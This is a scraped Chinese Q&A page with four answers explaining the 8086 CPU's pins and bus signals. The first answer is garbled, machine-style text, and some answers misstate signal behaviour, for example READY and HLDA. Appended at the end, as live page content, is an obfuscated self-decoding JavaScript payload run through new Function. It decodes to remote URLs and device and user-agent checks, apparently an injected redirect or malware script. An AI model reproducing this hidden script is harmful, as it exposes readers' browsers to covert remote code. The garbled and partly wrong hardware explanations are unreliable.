8086CPU引脚功能

CLK TEST GND BHE DT/R DEN ALE 各引脚功能
2024-12-06 23:14:27
推荐回答(4个)
回答1:

一、地址总线和数据总线(20条)

1、AD15~AD0:地址/数据总线

(1)T1:用作低16位地址A15~A0

(2)T2~T4:用作数据总线。

2、A19~A16/S6~S3:地址/状态总线

(1)T1:高4位用作地址总线,存储器:高4位。I/O:设置0

(2)T2~T4:表示CPU状态信息,S6:恒定低电平。S5:当中断许可标志(如果在响应标志寄存器中)加上前缀时。s3,s4:指示正在使用的段寄存器

3、8086的20个地址行:

(1)访问内存:使用20,地址1M存储空间

(2)访问I/O端口:使用16个A15~a0,可寻址64KI/O端口

4、bhe/s7:总线高允许/状态s7

(1)t1:用作bhe,低电平有效

(2)t2~t4:状态信号s7

(3)dma模式,引脚位高电阻状态

二、控制总线

1、Mn/MX:最小/最大模式控制线,32英尺,连接+5V时:在最小模式下,8086提供系统所需的所有控制信号,接地时:最大方式,系统总线控制信号由专用的总线控制器8288提供,8086把指示当前操作的状态信号(S2#、S1#、S0#)送给8288,8288据此产生相应的系统控制信号

2、最大模式。s2×3,s1×3,s0×3:总线周期状态信号(三态,输出)。

指示8086外部总线周期的操作类型。rq/gt0/rq/gt1:请求/允许总线访问控制信号(双向),qs1,qs0:指令队列状态信号(输出),用于指示8086内部BIU中指令队列的状态,锁定:总线优先锁定信号(输出,三种状态),当锁输出低时,外部处理器无法控制总线。

3、最小模式。M/IO:存储器/IO控制信号(输出,三种状态)。

当m/iox=h时:内存,当M/IOX=L:I/O端口时。dt/r:数据传输/接收信号(输出,三种状态),当dt/r×x=h时:写入,当dt/r×3=l时:读取,数据允许信号(输出,三种状态),在CPU访问存储器或I/O总线周期后的期间内,该信号是有效的,并用作系统中总线收发器的允许信号。

4、保持:保持请求信号(输入),当外部逻辑将保持引脚设置为高功率电平时,8086在完成当前总线周期后进入保持状态,放弃总线控制权,HLDA:保持响应信号(输出),这是CPU对保持信号的响应信号,输出为低电平,当HLDA信号有效时,8086的三态信号线都处于三态(高电阻),这使得外部逻辑能够控制总线。

5、ALE:地址锁定允许信号(输出),T1发出一个正脉冲,并将总线上的地址信息锁存到下降沿的地址锁存器中,中断响应信号(输出,三种状态),当8086响应来自intr管脚的可屏蔽中断请求时,在中断响应期间,inta变低,wr:写入控制信号(输出,三种状态),当功率低时,8086处于写操作。

6、控制线(公共总线)不受mn/mx的影响。rd:读取控制信号(输出,三种状态),当电源低时,CPU正在读取数据,就绪:等待状态控制信号,也称为就绪信号(输入),就绪=H:CPU等待,就绪=L:外设就绪,INTR:中断请求信号(输入),高电平表示有中断请求。

7、测试控制信号(输入),CPU测试,高电平继续等待,低电平离开等待,复位:复位信号(输入),高级系统将内部标志寄存器fr、段寄存器、指令指针ip和指令队列重置为初始状态,注:代码段cs的初始化状态为ffffh。

8、其它信号CLK:时钟信号(输入)VCC:电源,+5V±10%接地:地线。两个地线常用的信号引脚AD15~AD0:地址/数据AD19~AD16/S6~S3:地址数据/状态BHE×/S7:高允许(输出)MN/MX×:最大和最小(输出)M/IO×:存储器/IO(输出)Dt/R×:数据传输/接收。

9、输出den:数据许可(输出)保持:保持请求信号(输入)hlda:保持响应信号(输出)ale:地址锁定许可信号(输出)inta:中断响应信号(输出)rd:读取控制信号(输出)wr:写入控制信号(输出)就绪:等待状态控制信号(输入)intr:中断请求信号(输入)clk:时钟信号(输入)。

参考资料来源:

百度百科-CPU

回答2:

一、地址总线 和数据总线(20 条)AD15 ~ AD0:地址/数据总线(1)T1:用作低 16 位地址 A15 ~ A0(2)T2 ~ T4:用作数据总线

A19 ~ A16/S6 ~ S3:地址/状态总线(1)T1:用作地址总线的高 4 位,存储器:高 4位。I/O:置 0(2)T2 ~ T4:指示 CPU 的状态信息,S6:恒为低电平。S5:反应标志寄存器中中断允许标志 IF 的当前置。S3、S4:表示正在使用哪个段寄存器

8086 的 20 条地址线:(1)访问存储器:用 20 条,寻址 1M 存储空间(2)访问 I/O 端口:用 16 条 A15 ~ A0,可寻址 64K 个 I/O 端口

BHE# / S7:总线高允许/状态 S7(1)T1:用作 BHE#,低电平有效(2)T2 ~ T4:状态信号 S7(3)DMA 方式下,该引脚位高阻态

二、控制总线

1、MN/MX#:最小/最大方式控制线。32号脚。接 +5V 时:最小方式,由 8086 提供系统所需的全部控制信号。接地时:最大方式,系统总线控制信号由专用的总线控制器 8288 提供,8086 把指示当前操作的状态信号(S2#、S1#、S0#)送给 8288,8288 据此产生相应的系统控制信号

2、受MN/MX#影响的信号线

最大方式下。S2#、S1#、S0#:总线周期状态信号(三态、输出)。表示 8086 外部总线周期的操作类型。RQ# /GT0# 和 RQ# / GT1#:请求/允许总线访问控制信号(双向)。QS1、QS0:指令队列状态信号(输出)。用于指示 8086 内部 BIU 中指令队列的状态。LOCK#:总线优先权锁定信号(输出、三态)。当 LOCK 输出低电平时,外部处理器不能控制总线

最小方式下。M/IO#:存储器/IO 控制信号(输出、三态)。M/IO# = H 时:存储器。M/IO# = L 时:I/O 端口。DT/R#:数据发送/接收信号(输出、三态)。DT/R# = H 时:写。DT/R# = L 时:读。DEN#:数据允许信号(输出、三态)。在 CPU 访问存储器或 I/O 的总线周期的后一段时间内,该信号有效,用作系统中总线收发器的允许信号。

HOLD:保持请求信号(输入)。当外部逻辑把 HOLD 引脚置为高电平时,8086 在完成当前总线周期以后进入 HOLD (保持)状态,让出总线控制权 。HLDA:保持响应信号(输出)。这是 CPU 对 HOLD 信号的响应信号,输出低电平。当 HLDA 信号有效时,8086 的三态信号线全部处于三态(高阻),使外部逻辑可以控制总线。

ALE:地址锁存允许信号(输出)。T1 时发出正脉冲,在下降沿,把总线上的地址信息锁存入地址锁存器。INTA#:中断响应信号(输出、三态)。当 8086 响应来自 INTR 引脚的可屏蔽中断请求时,在中断响应周期内,INTA 变为低电平。WR#:写控制信号(输出、三态)。低电平时,8086 处于写操作

3、不受MN/MX#影响的控制线(公共总线。RD#:读控制信号(输出、三态),低电平时,CPU 在读。READY:等待状态控制信号,又称准备就绪信号(输入),READY = H:CPU 等待,READY = L:外设准备就绪。INTR:中断请求信号(输入),高电平表示有中断请求

试控制信号(输入)。CPU测试,高电平继续等待,低电平脱离等待。RESET:复位信号(输入)。高电平系统复位,把内部标志寄存器FR、段寄存器、指令指针IP、指令队列复位到初始状态。注意:代码段CS的初始化状态为 FFFFH .

4、其他信号CLK:时钟信号(输入)VCC:电源。+5V ±10%GND:地线。两条接地线常用的信号引脚AD15 ~ AD0:地址/数据AD19 ~ AD16/S6 ~ S3 :地址数据/状态BHE#/S7:高允许(输出)MN/MX#:最大最小(输出)M/IO#:存储器/IO(输出)DT/R#:数据发送/接收

输出DEN:数据允许(输出)HOLD:保持请求信号(输入)HLDA:保持响应信号(输出)ALE:地址锁存允许信号(输出)INTA#:中断响应信号(输出)RD#:读控制信号(输出)WR#:写控制信号(输出)READY:等待状态控制信号(输入)INTR:中断请求信号(输入)CLK:时钟信号(输入)

回答3:

  8086CPU外部引脚图

  在最小模式中引脚定义

  AD15~AD0(Address Data Bus):16位地址/数据总线,分时复用。传输地址时三态输出,传输数据时三态双向输入/输出。

  在总线周期T1状态,CPU在这些引脚上输出存储器或I/O端口的地址、在T2~T4状态,用来传送数据、在中断响应及系统总线“保持响应”周期一,AD15~AD0被置成高阻状态。


  A19/S6~A16/S3(Address/Status):地址/状态线,三态,输出,分时复用。

  在T1状态作地址线用,A19~A16与A15~A0一起构成20位物理地址,可访问存储器1M字节。当CPU访问I/O短口时,A19~A16为“0”、在T2~T4状态作状态线用,S6~S3输出状态信息。


  BHE/S7(Bus High Enable/Status):高8位数据线允许/状态信号,三态输出,低电平有效。

  16位数据传送时在T1状态,用BHE指出高8位数据总线上数据有效,用AD0地址线指出低8位数据线上数据有效。在T2~T4状态S7输出状态信息,在“保持响应”周期被置成高阻状态。


  MN/MX(Minimun/Maximun):最小/最大工作模式选择信号,输入。

  当MN/MX接+5V时,CPU工作在最小模式,当MN/MX接地时,CPU工作在最大模式。


  RD(Read):读选通信号,三态,输出,低电平有效。

  由M/IO信号区分读存储器或I/O端口,在读总线周期的T1、T2、TW状态,RD为低电平。在“保持响应”周期,被置成高阻状态。


  WR(Write):写选通信号,三态,输出,低电平有效。

  由M/IO信号区分写存储器或I/O端口,在读总线周期的T1、T2、TW状态,WR为低电平。在DMA方式时,被置成高阻状态。


  M/IO(Memory/Input and Output):存储器或I/O端口控制信号,三态,输出。

  M/IO信号为高电平时,表示CPU正在访问存储器,信号为低电平时,表示CPU正在访问I/O端口。一般在前一个总线周期的T4状态,有效,直到本周期的T4状态为止。在DMA方式时,M/IO置为高阻状态。


  ALE(Address Latch Enable):地址锁存允许信号,输出,高电平有效。

  作地址锁存器8282/8283的片选信号。


  DEN(Data Enable):数据允许信号,输出,低电平有效。

  在最小模式系统中,有时利用数据收发器8286/8287来增加数据驱动能力,DEN用来作数据收发器8286/8287的输出允许信号。在DMA工作方式时,被置成高阻状态。


  DT/R(Data Transmit/Receive):数据发送/收发控制信号,三态,输出。

  DT/R用来控制数据收发器8286/8287的数据传送方向。


  READY(Ready):准备就绪信号,输入,高电平有效。

  在T3状态结束后CPU插入一个或几个TW暂停状态,直到READY信号有效后,才进入T4状态,完成数据传送过程。


  RESET(Reset):复位信号,输入,高电平有效。

  CPU收到复位信号后,停止现行操作,并初始化段寄存器DS、SS、ES,标志寄存器PSW,指令指针IP和指令队列,而使CS=FFFFH。RESET信号至少保持4个时钟周期以上的高电平,当它变成低电平时,CPU执行重启动过程,8086/8088将从地址FFFF0H开始执行指令。


  INTR(Interrupt Request):可屏蔽中断请求信号,输入,电平触发,高电平有效。

  当外设接口向CPU发出中断申请时,INTR信号变成高电平。


  INTA(Interrupt Acknowledge):中断响应信号,输出,低电平有效。

  在中断响应总线周期T2、T3、TW状态,CPU发出两个INTA负脉冲,第一个负脉冲通知外设接口已响应它的中断请求,外设接口收到第二个负脉冲信号后,向数据总线沙锅内放中断类型号。


  NMI(Non —Maskable Interrupt Request):不可屏蔽中断请求信号,输入,边沿触发,正跳变有效。

  此类中断请求不受中断允许标志位IF的影响,也不能用软件进行屏蔽。一旦收到信号,在当前指令执行完后,自动引起类型2中断。经常处理电源掉点的紧急情况。


  TEST(Test):测试信号,输入,低电平有效。

  


  HOLD(Hold Request):总线保持请求信号,输入,高电平有效。

  


  HLDA(Hold Acknowledge):总线保持响应信号,输入,高电平有效。

  


  CLK(Clock):时钟信号,输入。


  VCC(+5V),GND(地)


在最大模式中引脚定义


  S2~S0(Bus Cycle Status):总线周期状态信号,三态,输出。

  在最大模式系统中,由CPU传送给总线控制器8288,8288编译后产生相应的控制信号代替CPU输出。


  LOCK(Lock):总线封锁信号,三态,输出,低电平有效。

  它有效时,CPU不允许外部其它总线主控者获得对总线的控制权。在DMA期间,它置于高阻状态。


  RQ/GT0、RQ/GT1(Request/Grant):总线请求信号输入/总线请求允许信号输出双向,低电平有效。

  前者比后者有较高的优先权。


  QS1、QS0(Instruction Queue Ststus):指令队列状态信号,输出,高电平有效。

  用来指示CPU中指令队列当前的状态,以便外部对8086/8088CPU内部指令队列的动作跟踪。

回答4:

GND 接地线
TEST:测试信号,输入低电平有效
BHE:为0时,总线高字节允许传送;为1时,总线高字节禁止传送
DT/R:数据驱动器数据流向控制信号。
当DT/R#=1时,数据驱动器进行数据发送;DT/R#=0时,数据驱动器进行数据接收
DEN:数据使能信号,输出,三态,低电平有效。 用于数据总线驱动器的控制信号。为0时,数据输出有效,与DT/R#配合,用于控制双向数据总线收发器的开与关
ALE:地址锁存使能信号,输出,高电平有效。是用来作为地址锁存器的锁存控制信号。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();